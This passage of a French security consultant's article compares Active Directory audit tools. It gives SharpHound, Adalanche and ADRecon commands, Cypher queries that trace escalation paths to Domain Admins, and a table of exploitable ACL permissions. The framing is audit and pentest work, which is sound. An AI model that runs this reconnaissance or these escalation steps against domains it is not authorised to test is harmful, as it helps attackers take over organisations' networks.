- Exécute le scan
- Exporte le rapport HTML/PDF

Purple Knight en mode CLI (silencieux)
PurpleKnight.exe -Domain contoso.com -Report HTML -Output C:\Reports\
```

#### Détections Avancées Uniques

- **Print Spooler sur DC** : Vérifie si le service Spooler est activé sur les DCs (vecteur PrintNightmare)
- **SYSVOL permissions** : Analyse des permissions SYSVOL pour détecter des modifications non autorisées
- **KRBTGT password age** : Alerte si le mot de passe KRBTGT n'a jamais été changé
- **Laps deployment** : Vérifie si LAPS est déployé et correctement configuré

#### Points Forts

- **Interface moderne** : GUI claire et intuitive
- **Focus résilience** : Seul outil à évaluer la capacité de récupération
- **Mapping MITRE ATT&CK** : Contexte tactique pour chaque vulnérabilité
- **Détections IOC** : Recherche proactive de compromission
- **Rapports personnalisables** : Export HTML/PDF avec logo entreprise

#### Limites

- **Gratuit mais propriétaire** : Code source fermé, dépendance à Semperis
- Pas de visualisation graphique des chemins d'attaque
- Nécessite l'installation d'un agent (contrairement à PingCastle qui est portable)
- Focus sur Windows Server 2016+ (support limité des versions anciennes)

## #3BloodHound : Visualisation des Chemins d'Attaque

**BloodHound** est l'outil révolutionnaire développé par **SpecterOps** (Andy Robbins, Will Schroeder, Rohan Vazarkar) qui a transformé le pentest Active Directory. En utilisant la théorie des graphes, BloodHound révèle instantanément les chemins d'escalade de privilèges invisibles à l'œil nu.

### 9. Architecture Neo4j et Graph Theory

BloodHound repose sur **Neo4j**, une base de données orientée graphes. Les objets AD (utilisateurs, groupes, ordinateurs, GPOs) sont représentés comme des **nœuds (nodes)** et leurs relations (MemberOf, AdminTo, GenericAll, etc.) comme des **arêtes (edges)**.

#### Collecteurs de Données (Ingestors)

BloodHound ne se connecte pas directement à AD. Il utilise des **collecteurs** qui énumérent les données et les exportent en JSON :

- **SharpHound** (C#) : Collecteur officiel, version Windows
- **BloodHound.py** : Collecteur Python pour Linux/macOS
- **AzureHound** : Collecteur pour Azure AD et Entra ID
- **SharpHound (PowerShell)** : Version legacy PowerShell (déconseillée)

Exemple de collecte avec SharpHound :

```
SharpHound.exe -c All --zipfilename output.zip

SharpHound.exe -c All,GPOLocalGroup --Domain contoso.com --LdapUsername pentester --
LdapPassword P@ssw0rd

SharpHound.exe -c DCOnly --OutputDirectory C:\Temp\ --NoSaveCache
```

### 10. Requêtes Cypher Avancées

La puissance de BloodHound réside dans son langage de requête **Cypher** (langage de Neo4j). Exemples de requêtes critiques :

#### 1. Trouver tous les chemins vers Domain Admins

```
MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@CONTOSO.COM"}))
RETURN p
```

#### 2. Comptes avec GenericAll sur Domain Admins

```
MATCH p=(u)-[:GenericAll]->(g:Group {name:"DOMAIN ADMINS@CONTOSO.COM"})
RETURN p
```

### 3. Utilisateurs Kerberoastables avec chemin vers DA

```
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@CONTOSO.COM"}))
WHERE u.enabled=true
RETURN p
```

### 4. Ordinateurs avec Unconstrained Delegation

```
MATCH (c:Computer {unconstraineddelegation:true})
RETURN c.name, c.operatingsystem
```

## 11. BloodHound 4.x : Nouvelles Fonctionnalités

La version 4 de BloodHound (Community Edition) introduit des améliorations majeures :

- **Analyse des GPOs** : Détection des GPOs qui accordent des privilèges locaux
- **Azure AD Integration** : Support complet d'Azure AD et des hybrides
- **Container Support** : Analyse des OUs et de l'héritage de permissions
- **Certified Pre-Owned** : Détection des vulnérabilités AD CS (intégré)

## 12. Analyse des ACLs Critiques

BloodHound excelle dans la détection des **abus d'ACLs**. Les permissions dangereuses détectées :

| Permission ACL | Impact | Exploitation |
|---|---|---|
| **GenericAll** | Contrôle total | Reset password, add SPN, modify ACLs |
| **WriteDACL** | Modifier les ACLs | S'octroyer GenericAll |
| **WriteOwner** | Changer le propriétaire | Devenir owner puis WriteDACL |
| **ForceChangePassword** | Reset le mot de passe | Réinitialiser sans connaître l'ancien |
| **AddMembers** | Ajouter dans un groupe | S'ajouter dans Domain Admins |

### Points Forts

- **Visualisation graphique** : Révèle des chemins invisibles autrement
- **Requêtes Cypher** : Flexibilité infinie pour des analyses custom
- **Rapidité** : Analyse d'un domaine de 50k objets en secondes

- **Communauté active** : Queries custom partagées, support Discord
- **Intégration Azure AD** : Support des environnements hybrides

**Limites**

- **Courbe d'apprentissage** : Maîtriser Cypher nécessite du temps
- **Dépendance Neo4j** : Installation et configuration de Neo4j requises
- Ne détecte pas les **vulnérabilités de configuration** génériques (comme PingCastle)
- Focus sur les chemins d'attaque, pas sur le hardening global

## #4Adalanche : Graph Analysis Engine Nouvelle Génération

**Adalanche** est un outil open-source récent (2021) développé par **Lars Karlslund** qui se positionne comme une alternative moderne à BloodHound avec des fonctionnalités uniques.

### 13. Architecture et Design

Adalanche est écrit en **Go** et utilise une architecture différente de BloodHound :

- **Analyse locale** : Pas besoin de Neo4j, analyse directement les dumps LDAP
- **Interface web intégrée** : Serveur web Go avec visualisation interactive
- **Performance** : Optimisé pour les grands domaines (100k+ objets)
- **Multi-domaines natif** : Analyse simultanée de plusieurs domaines/forêts

### 14. Fonctionnalités Distinctives

#### 1. Analyse des Relations Transitives

Adalanche calcule automatiquement les **relations transitives** : si Alice peut réinitialiser le mot de passe de Bob, et Bob est admin de Serveur1, alors Alice contrôle indirectement Serveur1.

#### 2. Détection des Anomalies Statistiques

Adalanche utilise des **algorithmes statistiques** pour détecter les comportements anormaux :

- Utilisateurs avec un nombre anormal de permissions directes
- Objets avec des ACLs inhabituelles par rapport à leur OU
- Groupes avec une croissance suspecte de membres

### 3. Export et Intégration

Adalanche peut exporter ses données vers BloodHound, permettant une **analyse hybride** : collecte avec Adalanche, visualisation avec BloodHound.

### 15. Utilisation Pratique

```
adalanche collect --domain contoso.com --username pentester@contoso.com --password
P@ssw0rd

adalanche analyze --datapath ./adalanche-output/

adalanche webservice --datapath ./adalanche-output/ --port 8080
```

Une fois le serveur web lancé, l'interface est accessible sur `http://localhost:8080`.

#### Points Forts

- **Pas de dépendance Neo4j** : Installation simplifiée
- **Performance** : Très rapide sur les grands domaines
- **Analyse statistique** : Détection d'anomalies avancée
- **Multi-domaines natif** : Idéal pour les forêts complexes
- **Interface moderne** : Web UI responsive

#### Limites

- **Outil récent** : Communauté plus petite que BloodHound
- Moins de requêtes pré-construites
- Documentation encore en développement
- Pas de support Azure AD (focus on-premise)

## #5ADRecon : Reconnaissance et Documentation Complète

**ADRecon** est un outil PowerShell développé par **Prashant Mahajan** qui se distingue par sa capacité à générer une **documentation exhaustive** de l'environnement Active Directory sous forme de rapport Excel.

### 16. Approche Orientée Documentation

ADRecon adopte une approche différente des autres outils : au lieu de se concentrer sur les vulnérabilités, il extrait **toutes les informations** AD dans un format analysable (Excel avec multiples onglets).

### 17. Données Collectées

ADRecon collecte plus de 50 types de données différentes :

- **Utilisateurs** : Tous les attributs, groupes, dernière connexion, pwdLastSet, etc.
- **Groupes** : Membres récursifs, groupes imbriqués, groupes à privilèges
- **Ordinateurs** : OS, version, dernière connexion, SPNs
- **OUs** : Structure, GPOs liées, délégations
- **GPOs** : Toutes les politiques, liens, permissions
- **ACLs** : Permissions sur tous les objets critiques
- **Trusts** : Relations de confiance, filtrage SID
- **Sites et Subnets** : Topologie réseau AD
- **DNS Zones** : Zones et enregistrements DNS intégrés AD

### 18. Génération de Rapports

Le rapport Excel généré contient :

- **Onglet Summary** : Vue d'ensemble du domaine
- **Onglets par type d'objet** : Utilisateurs, Groupes, Ordinateurs, GPOs, etc.
- **Onglets d'analyse** : Comptes inactifs, mots de passe expirés, délégations dangereuses
- **Tableaux croisés dynamiques** : Analyses statistiques prêtes à l'emploi

### 19. Utilisation

```
Import-Module .\ADRecon.ps1

Invoke-ADRecon

Invoke-ADRecon -DomainController dc01.contoso.com -Credential (Get-Credential)

Invoke-ADRecon -GenExcel C:\Temp\ADRecon-output\
```

#### Points Forts

- **Documentation exhaustive** : Capture complète de l'état AD
- **Format Excel** : Accessible aux non-techniques, facile à filtrer/analyser
- **Idéal pour l'audit de conformité** : Preuves documentaires
- **Pas d'installation** : Script PowerShell portable
- **Utile pour les migrations** : Documentation avant/après

#### Limites

- **Pas d'analyse de sécurité** : C'est un outil de collecte, pas d'audit
- Génération Excel lente sur les grands domaines (30min+)
- Nécessite PowerShell et Excel pour visualiser les rapports
- Pas de visualisation graphique

## Tableau Comparatif des 5 Outils

| Outil | Focus | Output | Temps Exec | Cas d'Usage |
|---|---|---|---|---|
| **PingCastle** | Vulnérabilités config | HTML + Score | 2-5 min | Audit rapide, suivi dans le temps |
| **Purple Knight** | Sécurité + Résilience | HTML/PDF + GUI | 5-10 min | Évaluation globale, IOC hunting |
| **BloodHound** | Chemins d'attaque ACL | Graph Neo4j | 5-15 min | Pentest, recherche d'escalade |
| **Adalanche** | Graph + Anomalies | Web UI + Export | 3-8 min | Alternative BloodHound, multi-domaines |
| **ADRecon** | Documentation complète | Excel multi-onglets | 10-30 min | Audit conformité, migrations |

## Méthodologie d'Audit Active Directory avec ces Outils

Dans nos missions d'audit, nous combinons ces 5 outils selon une méthodologie éprouvée :

#### 20. Phase 1 : Évaluation Rapide (Jour 1)

1. **PingCastle Healthcheck** : Score global et identification des quick wins
2. **Purple Knight Scan** : Détection d'IOCs et vérification résilience
3. **Restitution flash** : Points critiques identifiés en 24h

#### 21. Phase 2 : Analyse Approfondie (Jours 2-3)

1. **BloodHound Collection** : SharpHound avec toutes les options
2. **Analyse Cypher** : Requêtes custom pour identifier tous les chemins d'escalade
3. **Adalanche** : Analyse complémentaire des anomalies statistiques

4. **ADRecon** : Documentation exhaustive pour l'annexe du rapport

### 22. Phase 3 : Exploitation et Validation (Jours 4-5)

1. **Tests d'exploitation** : Validation manuelle des chemins identifiés
2. **Priorisation** : Classification CVSS des vulnérabilités
3. **Roadmap de remédiation** : Plan d'action priorisé

## Conclusion : Choisir le Bon Outil pour le Bon Besoin

Il n'existe pas d'outil parfait qui fait tout. Chaque outil a ses forces :

- **PingCastle** : Votre outil de **monitoring continu** (mensuel)
- **Purple Knight** : Pour l'**évaluation de résilience** et la recherche d'IOCs
- **BloodHound** : Indispensable pour le **pentest** et la recherche d'escalade
- **Adalanche** : Alternative moderne pour les **environnements complexes**
- **ADRecon** : Pour la **documentation** et les audits de conformité

L'approche recommandée : **combinez au minimum PingCastle + BloodHound** pour couvrir à la fois les vulnérabilités de configuration et les chemins d'attaque ACL.

## Ressources Complémentaires

- Top 10 des Attaques Active Directory 2025
- Livre Blanc : Sécuriser Active Directory
- Nos services d'audit Active Directory
- Formations Pentest et Audit Active Directory

Cet article vous a été utile ? Partagez-le avec vos équipes sécurité.

CHAPITRE 6

# Top 10 Outils d'Audit 2025

Les meilleurs outils pour auditer et sécuriser votre infrastructure Active Directory

## Articles Liés

- • Top 10 Attaques Active Directory
- • Guide de Sécurisation Active Directory 2025
- • Détection d'attaques Azure AD

# À propos de l'auteur

**Ayi NEDJIMI** est consultant senior en cybersécurité avec plus de 15 ans d'expérience dans la sécurisation des infrastructures d'entreprise. Spécialisé dans Active Directory, les architectures Zero Trust et la réponse aux incidents, il accompagne les organisations dans leur transformation sécuritaire.

## Domaines d'expertise

- **Active Directory & Identity Security** — Audit, durcissement et remédiation d'environnements Active Directory complexes (multi-forêts, hybrides Azure AD)
- **Tests d'intrusion** — Évaluation offensive des infrastructures Windows, simulation d'attaques avancées (Red Team)
- **Architecture de sécurité** — Conception de modèles de tiering, segmentation réseau, déploiement PAW/SAW
- **Réponse aux incidents** — Investigation forensique, containment et remédiation post-compromission Active Directory
- **Conformité & Gouvernance** — Accompagnement ANSSI, NIS2, ISO 27001

## Certifications

- OSCP (Offensive Security Certified Professional)
- CRTP (Certified Red Team Professional)
- Microsoft Certified: Security, Compliance, and Identity Fundamentals
- CEH (Certified Ethical Hacker)

## Contact

**Site web :** www.ayinedjimi-consultants.fr

**Email :** contact@ayinedjimi-consultants.fr

> *« La sécurité d'Active Directory n'est pas un projet ponctuel, c'est un processus continu d'amélioration. Chaque organisation mérite une infrastructure d'identité robuste et résiliente. »*
> *— Ayi NEDJIMI*